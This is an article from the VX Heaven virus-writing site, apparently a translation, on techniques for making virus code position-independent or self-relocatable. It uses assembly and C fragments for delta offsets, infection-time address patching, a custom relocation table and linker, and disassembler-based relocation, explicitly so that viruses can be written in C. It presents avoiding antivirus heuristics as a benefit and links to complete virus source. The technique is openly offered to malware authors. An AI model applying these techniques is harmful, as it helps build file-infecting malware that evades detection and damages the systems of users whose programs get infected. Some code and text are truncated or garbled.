VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

From position-independent to self-relocatable viral code

December 2009

[Back to index] [Comments (1)]
herm1t <[email protected]>
... The virus will now execute at a different virtual address depending which infected program is running, but all this means is that Virgil has to make sure his virus is position independent, using relative instead of absolute addresses. That is not hard for an experienced programmer to do.

Andrew Tanenbaum "Modern operating systems"

Do not prescribe to me what I am to do


This article discusses the different approaches to position-independent and self-relocatable code. It shows that non-PIC style of the code allows substantially relax the limitations on virus code and use an advantages of high-level programming, which formerly were practically inaccessible to the virus authors.

Delta and base addresses

To write about the delta-offset is like posting the article to the radio amateur magazine called "once again about constructing the power supply", but it is neccessary to start somewhere, so, once again about the delta-offset in viruses.

Zero virus generation	   Infected program
8048100 |          |       |          | 8048100
        | virus:   |       | program  |   ↑
        |          |       |          |   delta- 
        |          |       |...       |   offset = 0x8048200 - 0x8048100 = 0x100
        |          |       +----------+   ↓
8048200 | variable |       | virus:   | 8048200 
8048204 | _end     |       |          |
                           |          |
In regular program the     | variable | 8048300	Virus adds the delta to the
reference to the variable  | _end:    | 8048304	addresses of its variables:
looks as follows:				mov edx, [ebp + variable]
B8 00 82 04 08 mov eax, [variable]		89 95 00 82 04 80

A virus being written like a regular program will refuse to work right after infection, because there is no variable at address 0x8048200 in the infected program. The classical solution is to calculate the delta-offset, the difference between new virus address (inside victim) and old address (in the first generation):

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, .L0
; ebp contains difference between .L0 address (after compilation) and its
; actual address in the memory
                mov     eax, [ebp + var]               
; add the delta to the variable' address set after compilation and we get
; the right address of the variable in the infected process
; 804888c: 8b 85 88 84 04 08
;               mov    0x8048488(%ebp),%eax

All goes well, virus works... Let's look inside the code. I took the Win32.Cyanide virus (by Berniee), the code looks too much in fashion:

  40134a:       03 95 6a 10 40 00       add    0x40106a(%ebp),%edx
  401350:       89 95 72 10 40 00       mov    %edx,0x401072(%ebp)
  401356:       8b 50 20                mov    0x20(%eax),%edx
  401359:       03 95 6a 10 40 00       add    0x40106a(%ebp),%edx
  40135f:       89 95 7a 10 40 00       mov    %edx,0x40107a(%ebp)        

Why should we bear all that long constants?

What if one will use an offsets from the start of the virus?

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, (.L0 - _virus)
; ebp contains <em>virus base address</em>, it does not incorporate what
; address virus had after compilation

; (var - _virus) is a <em>relative</em> address of the variable from the virus start
                mov     eax, [ebp + (var - _virus)]
; 804888c: 8b 85 f1 03 00 00
;               mov     0x3f1(%ebp),%eax

It is as broad as it is long - six bytes, but values has changed. However, one could use any values as a "base point". Virus data area address for example:

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, (.L0 - _virus) - (virus_data - _virus)
; ebp - "virus_data" address in a current process, which is unrelated
; to its values in the zero generation of the virus

; (var - virus_data) is a <em>relative</em> address of "var" variable
; from the start of data area (virus_data)
                mov     eax, [ebp + (var - virus_data)]
<strong>; 8048889: 8b 45 00
;               mov    0x0(%ebp),%eax</strong>
var             dd      0x55aa55aa

To obtain an addresses within the code one could use the negative offsets, for example, the address of virus' start is ebp - (virus_data - _virus). Most often used variables could be placed in the beginning of the data area, it will give a certain economy.

The same trick is used by position-independent code generated by the compiler. All addresses in use are relative from _GLOBAL_OFFSET_TABLE_. So the references to GOT (and below - .rodata, .text, ...) has negative offsets, above (.got.plt, .data) - positive.

And now a few more words about the call instruction which is present in every example. This snippet was used and is in use so often that heuristic of one of the dumbest antiviruses, was trigerred by sequence CALL / POP / SUB at one time. But among the other things as early as fifteen yeras ago TLN proposed ("The Smallest Virus I Could Manage", vlad #3) just patch the delta into the copy of the virus at the stage of infection. Let's try it. Not the delta, but address of virus data:

_virus:         ...
                mov     ebp, strict dword 0
; fix-vd - the offset from the virus' start of the word that must be patched
; by virus_data address (virus address in the victim + (virus_data - _virus))
fix_vd          equ     $ - 4 - _virus
                mov     eax, [ebp + (var - virus_data)]

Actually the virus_data is just a variable and what does this mean? It means that it is possible to directly fix the absolute variables addresses:

; esi might be the virus start in the victim mapped to memory
; edi - delta
                add     [esi + fix_var], edi           
                mov     eax, [var]
fix_var         equ     $ - 4 - _virus

There is no more suspicious "call" instruction, neigher delta in its usual form, no good-looking relative addresses as well. And now one step forward. Couls we deal with all variables in such a way? The result would be not position-independent, but relocatable code. The same as in "common" programs.


The last example in the previous chapter showed how one could fix the variables addresses at infection time, but there is only one variable in the example and virus has a lot of them. What should we do? Should we emit several instructions for each variable? What a "common" programs use? This is it. All addresses that should be fixed (if the program is loaded at different address) have been placed in table. This table is called relocation table. Roughly speaking, the table holds the offsets of the words within program that must be fixed. Like so:

; esi might be the virus start in the victim mapped to memory
; edi - delta
                xor     ecx, ecx
                mov     eax, [rel + ecx * 4]
; NB! real virus must have reloc here
; fix_rel equ $ - 4 - _virus
                add     [esi + eax], edi
                inc     ecx
                cmp     ecx, rel_count
                jb      relocate
                mov     eax, [var]
fix_var         equ     $ - 4 - _virus
                int     3
var             dd      0x55aa55aa
; relocation table
rel             dd      fix_var
;               dd      fix_rel
rel_count       equ     ($ - rel) / 4

As you can already see where I am going, I had no thought to write the code in such a way. The relocation table produced by the compiler and is present only in object files. To save the table in the executable file it is neccessary to pass the option "--emit-relocs" to the linker. After that one could disassemble the binary and check what's going on:

8048480:       a1 87 84 04 08          mov    0x8048487,%eax
                       8048481: R_386_32       .text

There it is. Or this:

$ objdump -r ./a.out
OFFSET   TYPE              VALUE 
00000401 R_386_32          .text

There is more to come. The presence or absence of the call insn or the length of MOV's which load the variables values doesn't get me at all. In very deed, by removing the position-independent code we relax the most rigid restriction on virus code style. It means that from now it is possible to write a virus with hands down in any language without assembler and gimmiks of any kind. C with all its features like callbacks, global variables, strings, library functions are at your service. Now you should not spend your time on asmjerking or fucking badly nicely tuning the compiler, but to mentally XORing DWords "virus technologies" on which we like to bulshit by a mouth that we have developed and justifiably proud of.


From theory to implementation. The most obvious way to implement it is to write a virus, compile it to object file (with relocks) and then rip out the virus' code, data and relocation table from the object file with a purposedly written program, and infect the victim with it. Once one should write a dropper anyway, why not to write a linker at a time?

Let's begin with sorting out the relock's format.

The relocation table for the .text section in the ELF files is stored in .rel.text section and contains the array of structures Elf32_Rel, which has the offset, type and reference to the symbol table (.dynsym), which in turn is an array of structures Elf32_Sym with a lots of fields, including value of symbol, section number, offset in string table (.dynstr) of a symbol's name... Enough? I wanted it to be implemented more simple too.

The virus consists of "fragment" (to distinguish it from sections and segments defined in ELF file) of code and data. The code? Nuff said. The data fragment besides an initialized variables will hold an uninitialized variables (in the regular programs they live in .bss), strings (in regular programs - .rodata), relocation table and a string table with the names of external functions.

The virus consists of search and infect routines and also the run-time linker (RTLD) and the function for retargetting to a new addresses (relocate()):

code "fragment"
+- stub.o --------------+
| _start:		| __code_start
|	pusha		|
|	call	rtld	|
|	popa		|
|	jmp	__entry |
+- rtld.o --------------+
| findlibc, rtld,       |
| relocate              |
+- virus.o -------------+
| main() ...            | __code_end
data "fragment"
| relocation table      | __data_start
| ... virus data ...    |
| string table          | __data_end

__* - is a special symbols, calculated by the linker, in the source code they defined as extern.

After the start:

In this article I laying stress on fixing the addresses of virus' code and data. The imports is quite a different story, there is a possibility to add the "static" imports, relegating the resolving to the system's RTLD, without unhandy code: to patch slightly .dynsym, .dynstr, put somewhere aside the virus' PLT and GOT, but imports are related to relocs to a little degree, such that more about it next time.

The relocation table consists of 32-bit values, terminated by 0xffffffff, where:

31SRC_FRAGreloc resides in (0 code section, 1 - data)
30..29DST_FRAGthe value points to (0 - code, 1 - data, 2 - library function, 3 - special symbol)
28SRC_TYPEType of address (0 - sbsolute, 1 - relative)
27-14SRC_OFFOffset within fragment (depending of SRC_FRAG) of code/data which should be patched
13-0DST_OFFOffset within fragment (depending of DST_FRAG) of code/data, by which we should patch. If DST_FRAG = 2 this is offset to the name of external functionней in the string table, if DST_FRAG = 3, this is the number of symbol defined by the linker (the old entry point)

So that value 0xa8166c00 means that the linker should calculate the dst address (fragment 1, the start of virus data + 11264) and place it (type 0, absolute address) to src address (fragment 1, the start of virus data + 8281).

The easy way to explain it by showing an excerpt from the virus, relocating to the new addresses:

void relocate(uint8_t *text, uint8_t *data, uint32_t new_text, uint32_t new_data, uint32_t new_entry)
        reloc_t *rel;
        uint32_t *src, dst;
        for (rel = (reloc_t*)data; ! IS_FINI(*rel); rel++)
                /* skip external symbols, they will be resolved at run-time */
                if (DST_FRAG(*rel) != 2) {
                        /* pointer to the value that must be fixed */
                        src = (uint32_t*)((SRC_FRAG(*rel) == 1 ?
                                data : text) + SRC_OFF(*rel));
                        /* there is only one internal symbol ("frag" 3) left: __entry */
                        dst = DST_FRAG(*rel) == 3 ?
                                new_entry : (DST_FRAG(*rel) ? new_data : new_text) + DST_OFF(*rel);
                        /* patch in absolute/relative value */
                        *src = SRC_TYPE(*rel) == 0 ?
                                dst : dst - ((SRC_FRAG(*rel) ? new_data : new_text) + SRC_OFF(*rel) + 4);

The addresses of library functions:

        for ( ; ! IS_FINI(*rel); rel++)
                if (DST_FRAG(*rel) == 2) {
                        uint32_t src, dst;
                        src = (uint32_t)(SRC_FRAG(*rel) ? &__data_start : &__code_start) + SRC_OFF(*rel);
                        dst = resolve(&libc, (char*)&__data_start + DST_OFF(*rel));
                        *(uint32_t*)src = SRC_TYPE(*rel) ? dst - (src + 4) : dst;

The most interesting part. How to prepare the table?


The virus source code compiled by gcc to object code, but not linked with ld(1) from binutils, but by its own linker.

Broadly speaking, what is a linker? Where are several object files, which contains undefined [at the compilation stage] symbols (anything in the program defined as extern) and global ones (anything that is not static). The symbol could be either function or a variable. The goal of the linker - to bind (or link) them against each other, id est to put the global symbol's addresses (defined in one of the files) into the file where they are undefined. The more complex situations like weak symbols, symbols versioning and other indigestible details I will throw into the discard. It's not neccessary to re-write ld(1). What "virus ld" is doing:

...and it works. :-)

Relocating the code without relocs

There is another interesting (for now rhetoric) question - is it possible to do the same thing (sacrificing some functionality) without tables and without personal linkers? Countrylike... yes, it is possible! Let's take any program, even like that:

int a = 10;
int main()
        printf("Hello %d %d\n", a + 256, 11);
 8048395:       6a 0b                   push   $0xb		; 11
 8048397:       a1 a0 95 04 08          mov    0x80495a0,%eax	; a
 804839c:       05 00 01 00 00          add    $0x100,%eax	; 256
 80483a1:       50                      push   %eax		; a + 256
 80483a2:       68 90 84 04 08          push   $0x8048490	; "Hello %d %d\n"
 80483a7:       e8 ec fe ff ff          call   8048298 <printf@plt>      

Even an ass will understand that 80495a0, 8048490 and 8048298 are addresses, but 11 and 256 are constants, in such a case 80495a0 and 8048490 are data (points to .data and .rodata sections) and 8048298 is code, moreover ir is the external function call (.plt section). If the ass could understand this, so one could teach the virus this simple skill.

To simplify the code, as in the previous case, I merging .data and .rodata, but this time with the linker script (info ld). One could produce the default linking script (ld --verbose) and a bit revise it by changing:

  .text           :
    *(.text .stub .text.* .gnu.linkonce.t.*)
    KEEP (*(.text.*personality*))
  .data           :
    *(.data .data.* .gnu.linkonce.d.*)
	__text_start =.;
	_text : {
	} =0x90909090
	__text_end =.;

We need symbols which pointing to start/end of code/data (__text/data_start/end) and we need to remove from the virus code all functions defined in crt*.o (all that __do_global_dtors_aux, frame_dummy and other garbage). So, instead of *(.text) I write 1.o(.text), namely get the .text section only from the 1.o file (not from all files). .bss could be merged with data, or could be suppressed by ((section (".data"))) attribute on variables. ;-)

In order to fix the addresses in the virus code I take the disassembler (YAD, EOF#2). The virus disassemble its own code and check all the constants (the parts of the instruction). If the constant fall into range [__text_start .. __text_end] the virus will consider it the address pointing to code, if [__data_start .. __data_end] - the data. The address could be fixed easily - one need to substract the old address of code/data (__text_start/__data_start) and add the new one (new_text/new_data - calculated in the infection routine):

                if(*(p - 1) == 0x61 && *p == 0xe9)
                        r = (3 << 30) | (offset + 1);
#define CHECK_FOR_REL(a,b,c, d) \
                if (y.a >= (uint32_t)&__ ## b ## _start && y.a <= (uint32_t)&__ ## b ## _end)   \
                        r = (offset + y.len - 4 + c) | (d << 30);       \

                CHECK_FOR_REL(data4, text, 0, 0)
                CHECK_FOR_REL(data4, data, 0, 1)
                CHECK_FOR_REL(addr4, text, -y.datasize, 0)
                CHECK_FOR_REL(addr4, data, -y.datasize, 1)

The result is tored into table for the latter use.

If the virus contains the real constant in the same range - the game is up. :-) There is a little chance to face it, furthermore such bug will be brought to light and fixed at the stage of debugging. The code could be improved with two simple rules:

One could be allured into using the same algorithm to move the victim's code, but such trick will be the last thing for a number of files.

NB! ... but looking into this more closely, I think that it is still possible to distinguish addresses from constants, at least in the files compiled by particular compiler. After all one could get the function prototypes from /usr/include (grep -r '^[^#].* [\*]*ftw[ ]*(' /usr/include|sed 's/[^(,\*)]//g'). You may laugh at it but there is something to think about.

However, I know exactly how the code of my virus organized, so for the virus code this algo would work reliably even without additional checks.

.. and it works. :-)

Error handling

In the private conversation with acquaintance I got the good advice: That would be easier [to set the exception handler], and this is how most Windows viruses operate, too. There are just too many things that can be wrong with the headers, it is not reasonable to check them all (or perhaps even to know them all). This is true not only to headers. So, both viruses catching the SIGSEGV, SIGBUS signals. If the handler would receive the control it will restore the stack (the orig_esp variable) and will return the control to the host program.


The devised method allows:

It is possible to write the HLL code without such tricks, but existing solutions are limited to using of libraries (in due time it was suggested by Whale "Position-independent code in HLL. Loading DLL from memory."), or literally persuade the compiler to generate the "right" code in the "right" order, and after the compiler being updated the same should be done all over again. The -funit-at-a-time diversion alone could caus a lot of troubles!

Contrary to popular belief, the C viruses are quite compact (2-3 kilobytes of code), it is possible to rewrite it in assembly and save a few hundreds of bytes, but nobody cares who really need this?


The complete code of RELx.A/G2 viruses and examples could be downloaded here.

Delta offset. Classics.
Address of virus in memory.
Address of virus data in memory.
The same, but without CALL.
Fixing the address of the variable.

How to use the examples?

$ make
$ gdb ./4
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
0x080493e2 in ?? ()
one could check that the address of variable is correct
(gdb) info reg
eax            0x55aa55aa       1437226410
this is the fixed code in memory
(gdb) disas 0x080493d8 0x080493e2
Dump of assembler code from 0x80493d8 to 0x80493e2:
0x080493d8:     mov    $0x80493e2,%ebp
0x080493dd:     mov    0x0(%ebp),%eax
0x080493e0:     int    $0x3
(gdb) q
the original code (in the file)
$ objdump -d 4|tail
 804888e:       bd 00 00 00 00          mov    $0x0,%ebp
 8048893:       8b 45 00                mov    0x0(%ebp),%eax
 8048896:       cd 03                   int    $0x3

1 Like this (-ggdb -Wa,-ahl). Like it? Want it?

 1270 0b18 8B459C               movl    -100(%ebp), %eax
 1271 0b1b 8B4814               movl    20(%eax), %ecx
 1272 0b1e 8B459C               movl    -100(%ebp), %eax
 1273 0b21 8B501C               movl    28(%eax), %edx
 1274 0b24 8B45A8               movl    -88(%ebp), %eax
 1275 0b27 C1E004               sall    $4, %eax
 1276 0b2a 8D0402               leal    (%edx,%eax), %eax
 1277 0b2d 0FB7400E             movzwl  14(%eax), %eax
 1278 0b31 0FB7D0               movzwl  %ax, %edx
 1279 0b34 89D0                 movl    %edx, %eax
 1280 0b36 C1E002               sall    $2, %eax
 1281 0b39 01D0                 addl    %edx, %eax
 1282 0b3b C1E003               sall    $3, %eax
 1283 0b3e 8D0401               leal    (%ecx,%eax), %eax
 1284 0b41 8B4008               movl    8(%eax), %eax
 1285 0b44 83E004               andl    $4, %eax
 1286 0b47 85C0                 testl   %eax, %eax
 1287 0b49 0F94C0               sete    %al
 1288 0b4c 0FB6C0               movzbl  %al, %eax
 1289 0b4f 8945DC               movl    %eax, -36(%ebp)
[Back to index] [Comments (1)]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use!